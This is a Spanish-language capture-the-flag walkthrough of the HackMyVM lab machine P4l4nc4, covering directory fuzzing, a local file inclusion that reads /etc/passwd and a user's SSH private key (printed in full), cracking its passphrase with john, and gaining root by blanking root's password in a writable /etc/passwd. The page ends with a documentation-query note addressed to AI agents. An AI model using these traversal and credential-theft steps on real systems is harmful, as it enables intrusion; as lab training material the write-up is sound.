# P4l4nc4 HackMyVM (Easy - Linux) ## Escaneo de puertos ```shell nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn ``` ```shell nmap -sCV -p ``` Info: ``` Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-30 03:23 EDT Nmap scan report for 192.168.5.31 Host is up (0.0025s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0) | ssh-hostkey: | 256 21:a5:80:4d:e9:b6:f0:db:71:4d:30:a0:69:3a:c5:0e (ECDSA) |_ 256 40:90:68:70:66:eb:f2:6c:f4:ca:f5:be:36:82:d0:72 (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-server-header: Apache/2.4.62 (Debian) |_http-title: Apache2 Debian Default Page: It works MAC Address: 08:00:27:42:BC:8C (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.14 seconds ``` Veremos que hay un puerto `80` en el que al parecer se aloja una pagina web, vamos a probar a entrar en dicho puerto `80` a ver que nos encontramos. Si entramos vemos que hay una pagina echa por defecto de `apache2`, por lo que vamos a realizar un poco de `fuzzing` a ver que encontramos. ## Gobuster ```shell gobuster dir -u http:/// -w -x html,php,txt -t 50 -k -r ``` Info: ``` =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.5.31/ [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Extensions: html,php,txt [+] Follow Redirect: true [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /index.html (Status: 200) [Size: 10701] /.php (Status: 403) [Size: 277] /.html (Status: 403) [Size: 277] /robots.txt (Status: 200) [Size: 1432] /.php (Status: 403) [Size: 277] /.html (Status: 403) [Size: 277] /server-status (Status: 403) [Size: 277] Progress: 882240 / 882244 (100.00%) =============================================================== Finished =============================================================== ``` Veremos que hay un `robots.txt` a ver que nos encontramos dentro de dicho archivo. ``` URL = http:///robots.txt ``` Info: ``` A palanca-negra-gigante é uma subespécie de palanca-negra. De todas as subespécies, esta destaca-se pelo grande tamanho, sendo um dos ungulados africanos mais raros. Esta subespécie é endémica de Angola, apenas existindo em dois locais, o Parque Nacional de Cangandala e a Reserva Natural Integral de Luando. Em 2002, após a Guerra Civil Angolana, pouco se conhecia sobre a sobrevivência de múltiplas espécies em Angola e, de facto, receava-se que a Palanca Negra Gigante tivesse desaparecido. Em janeiro de 2004, um grupo do Centro de Estudos e Investigação Científica da Universidade Católica de Angola, liderado pelo Dr. Pedro vaz Pinto, obteve as primeiras evidências fotográficas do único rebanho que restava no Parque Nacional de Cangandala, ao sul de Malanje, confirmando-se assim a persistência da população após um duro período de guerra. Atualmente, a Palanca Negra Gigante é considerada como o símbolo nacional de Angola, sendo motivo de orgulho para o povo angolano. Como prova disso, a seleção de futebol angolana é denominada de palancas-negras e a companhia aérea angolana, TAAG, tem este antílope como símbolo. Palanca é também o nome de uma das subdivisões da cidade de Luanda, capital de Angola. Na mitologia africana, assim como outros antílopes, eles simbolizam vivacidade, velocidade, beleza e nitidez visual ``` Veremos muchimos texto el cual no nos interesa parcticamente para nada, pero lo que si podemos hacer es probar a generar un diccionario de palabras con dicho texto de esta forma: ``` cewl http:///robots.txt -w dic.txt ``` Si intentamos utilizar dicho diccionario para tirar un ataque de fuerza bruta web no veremos nada interesante, por lo que vamos a montarnos un script para sustituir las vocales por numeros a lo que corresponden y despues volver todo minuscula de la siguiente forma: ## Escalate user p4l4nc4 > generate\_dic.sh ```bash #!/bin/bash # Verifica si se proporcionó un archivo if [ -z "$1" ]; then echo "Uso: $0 archivo.txt" exit 1 fi input="$1" output="converted_${input}" # Procesamiento línea por línea while IFS= read -r line; do echo "$line" | \ tr '[:upper:]' '[:lower:]' | \ sed -e 's/a/4/g' -e 's/e/3/g' -e 's/i/1/g' -e 's/o/0/g' -e 's/u/9/g' -e 's/l/1/g' done < "$input" > "$output" echo "[+] Diccionario generado en: $output" ``` Ahora lo utilizaremos de esta forma: ```shell bash generate_dic.sh dic.txt ``` Info: ``` [+] Diccionario generado en: converted_dic.txt ``` Ahora vamos a realizar `fuzzing` con dicho diccionario de esta forma. ```shell gobuster dir -u http:/// -w converted_dic.txt -x html,php,txt -t 50 -k -r ``` Info: ``` =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.5.31/ [+] Method: GET [+] Threads: 50 [+] Wordlist: converted_dic.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Extensions: html,php,txt [+] Follow Redirect: true [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /n3gr4 (Status: 200) [Size: 4] /n3gr4 (Status: 200) [Size: 4] Progress: 512 / 516 (99.22%) =============================================================== Finished =============================================================== ``` Veremos que hemos conseguido encontrar un directorio web bastante interesante, vamos a realizar `fuzzing` dentro del mismo con el mismo diccionario. ```shell gobuster dir -u http:///n3gr4 -w converted_dic.txt -x html,php,txt -t 50 -k -r ``` Info: ``` =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.5.31/n3gr4 [+] Method: GET [+] Threads: 50 [+] Wordlist: converted_dic.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Extensions: html,php,txt [+] Follow Redirect: true [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /m414nj3.php (Status: 500) [Size: 0] Progress: 512 / 516 (99.22%) =============================================================== Finished =============================================================== ``` Veremos que hemos encontrado un `.php` pero el cual nos da un `500` de error, por lo que vamos a realizar un poco de `fuzzing` para intentar ver si tuviera alguna vulnerabilidad de poder leer archivos del sistema `LFI`. ### FFUF ```shell ffuf -u 'http:///n3gr4/m414nj3.php?FUZZ=../../../../../../../etc/passwd' -w -fs 0 ``` Info: ``` /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://192.168.5.31/n3gr4/m414nj3.php?FUZZ=../../../../../../../etc/passwd :: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response size: 0 ________________________________________________ page [Status: 200, Size: 1066, Words: 5, Lines: 23, Duration: 19ms] :: Progress: [20469/20469] :: Job [1/1] :: 666 req/sec :: Duration: [0:00:28] :: Errors: 0 :: ``` Veremos que efectivamente a funcionado, por lo que vamos a probarlo con un `curl` a ver que nos muestra. ```shell curl 'http:///n3gr4/m414nj3.php?page=../../../../../../../etc/passwd' ``` Info: ``` root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin messagebus:x:100:107::/nonexistent:/usr/sbin/nologin sshd:x:101:65534::/run/sshd:/usr/sbin/nologin p4l4nc4:x:1000:1000:p4l4nc4,,,:/home/p4l4nc4:/bin/bash ``` Veremos que funciona, por lo que ahora vamos a probar a intentar visualizar la clave `PEM` del usuario `p4l4nc4` a ver si lo conseguimos. ```shell curl 'http:///n3gr4/m414nj3.php?page=../../../../../../../home/p4l4nc4/.ssh/id_rsa' ``` Info: ``` -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABCvTRnNli 2HLc7wYB9S1mbCAAAAEAAAAAEAAAEXAAAAB3NzaC1yc2EAAAADAQABAAABAQCrXZ98DYMr n/f74/g82lqDkMHkyocXGXn8VaP/N7vD9j5mLSr1uhKGBbxcVm4uGP9k//mmRKlewRl/MZ nTg0N8MP9vp0O2B9vrwHLz9JekTblv93/VCDpJS78CGkNNOVMRcv2ZB3w7uFm6zxRZxQmH 5HaRNuf795GQSFjybiqmN7Mu78bG/94aQMZZLALYmoyMCYWXGvvHpxRN1dwNsT7If4aNBE l1HXVrZY1biDOrpJQ7O+eZpD4IKs5/QgKL6w9nBczVcGKkvyms98A5qTa/F43+1CxQE2ng wPiejJEeJZ0PEkQu3nZTK1k7WpJzVnhpqbHGlwKWbfvMKh27Y2gpAAADwI6Nr+vLoXaEJy SIRrVjIYFz/C3B17pmpx+lmupFfU6ruVHLE92gweyr9wAd5lxhKX1I6BClhlEoDWkzEBCT H/4zg2tj84+hzhdVWUy6KaCVbRbuvJYWQNWY4kgfk/3FTnSJFHd+k8CZImN3Xa/9DRVLmg jytzseFr83bPyOyGSze51kJX4r2ljurDvmcnXfQ4j27zUUmwEKi02VvjLngXbmMnIMDLI3 x/pdFxnyZ0w6wnl/Bg+2gvc54Y2ssMblNMw6HZU4K2TN/c3li3A3hLZsN7QwNIV76X5UeP dWCOngRsImAmMtyxPKZ0rvYwgDimWunQPy0yJXEPdofL6hrAxFZ6y+jnm+gM7x1fnooSkb 9H5RblfwiOtuTD7bmAu6ApNU0Ul3X2YFPnDLFjo/D0Sj5LcsYDQ+XlTNUwnjHpyMy5VzUz 2vDpiscBd7FpFCHf1lS9bfGMLbhOfdM6TPzpjlOmdRizoVjGCZdXsA4Jg05FpvEFa3KHqM iJOA9yXhHPROYmOwl5Mu+NTPc+Xbiu7B8TJu/BORoOShhbm7+kQpXM7XHPDKTTnJo+qmsI Pt9FuQF3wZWIXZ48DmRKJKhB+a9LwuE8ES3wUTVqx/EbAs08V6/uiBYZmorJFSgbPd68AE xKTK9ObilJKSfS2Ik5/iVIBTUxlAt2foAUpWTlXVNmFfBEhRSk48E8NhcgNqctKWpjKf0R 2gi/Dvpect4LoqKPue5zvN0dNlYSiq/6QK6NqJrJdN7DvsvocL+BcWmmv31erlJOo6A3Zw CEpmnqVzMTroZSBQv3eEsOFS/+RkJ5ffFRpXGfWPh4Dn/Y++n3wbHNNb97pOd9WV+IlhDV 7btvga8cG9xp3zihOIf308VowcpIp0CSlEqZDBpis5jWY9J3N1+uh3pJHFgqmLxKnqLmzu u15Kh/+nAV6DTBVxrdhq8HoLAvb7ubAq2ICHALC39X12+J0cLOUMi8UWYawMTFgYnO3ZBD fb6fZaM9Hr97jREiUEG6vgIcNgn6jtJ3EM3ncxTKe2T8SSYn8pFy9Lqf+lvZ8yo9DkaPl5 ORSVWa+jCKhuClPZY5t8VJC9xXGyz8Wah15Y2pg95nGEub7dgmRlQAIiSxjWsDmaDzIBPo IkZ5lzxoTvvtL2N1+4ZFprPwUN6y6C6zrXbzQp7Ov0bZc2g9fFiNxu1HvR96rwVNFHbeia OJEM2NZSUU52PExgYtSXwO5aDy70oKiu0pbifoYOm19hlYwYWOOa6s+oW2FG+aXO8WIeEa muaZDiXw== -----END OPENSSH PRIVATE KEY----- ``` Veremos que funciona, por lo que vamos a conectarnos mediante la clave `PEM` por `SSH`. ### SSH > id\_rsa ``` ``` ```shell chmod 600 id_rsa ``` Ahora nos conectamos por `SSH` una vez echo todo lo anterior. ```shell ssh -i id_rsa p4l4nc4@ ``` Pero veremos que nos pedira una contraseña, vamos a probar a intentar `crackear` dicha contraseña de esta forma. ```shell ssh2john id_rsa > hash.ssh | john --wordlist= hash.ssh ``` Info: ``` Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes Cost 2 (iteration count) is 16 for all loaded hashes Will run 4 OpenMP threads Press Ctrl-C to abort, or send SIGUSR1 to john process for status friendster (id_rsa) 1g 0:00:00:14 DONE (2025-05-30 03:56) 0.06752g/s 43.21p/s 43.21c/s 43.21C/s mariah..pebbles Use the "--show" option to display all of the cracked passwords reliably Session completed. ``` Veremos que ha funcionado, por lo que vamos a probarla. ```shell ssh -i id_rsa p4l4nc4@ ``` Metemos como contraseña `friendster` y veremos que estaremos dentro. Info: ``` p4l4nc4@192.168.5.31's password: Linux 4ng014 6.1.0-27-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.115-1 (2024-11-01) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Nov 13 17:10:08 2024 from 192.168.1.78 p4l4nc4@4ng014:~$ whoami p4l4nc4 ``` Vamos a leer la `flag` del usuario. > user.txt ``` HMV{6cfb952777b95ded50a5be3a4ee9417af7e6dcd1} ``` ## Escalate Privileges Si vemos los archivos en los cuales podemos escribir podremos ver lo siguiente: ```shell find / \( -path /proc -o -path /sys \) -prune -o -type f -writable -print 2>/dev/null ``` Info: ``` /etc/passwd /home/p4l4nc4/user.txt /home/p4l4nc4/.bash_history /home/p4l4nc4/.profile /home/p4l4nc4/.ssh/id_rsa /home/p4l4nc4/.ssh/id_rsa.pub /home/p4l4nc4/.sudo_as_admin_successful /home/p4l4nc4/.bashrc /home/p4l4nc4/.bash_logout ``` Vemos que entre ellos esta el `/etc/passwd` por lo que vamos a realizar lo siguiente. ```shell nano /etc/passwd #Dentro del nano root:x:0:0:root:/root:/bin/bash # Cambiaremos esta linea root::0:0:root:/root:/bin/bash # Por esta de aqui quitandole simplemente la "x" a root ``` Lo guardamos y ahora para ser `root` realizaremos lo siguiente. ```shell su root ``` Info: ``` root@4ng014:/home/p4l4nc4# whoami root ``` Veremos que ha funcionado, por lo que leeremos la `flag` de `root`. > root.txt ``` HMV{4c3b9d0468240fbd4a9148c8559600fe2f9ad727} ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://dise0.gitbook.io/h4cker_b00k/ctf/hackmyvm/p4l4nc4-hackmyvm-easy-linux.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.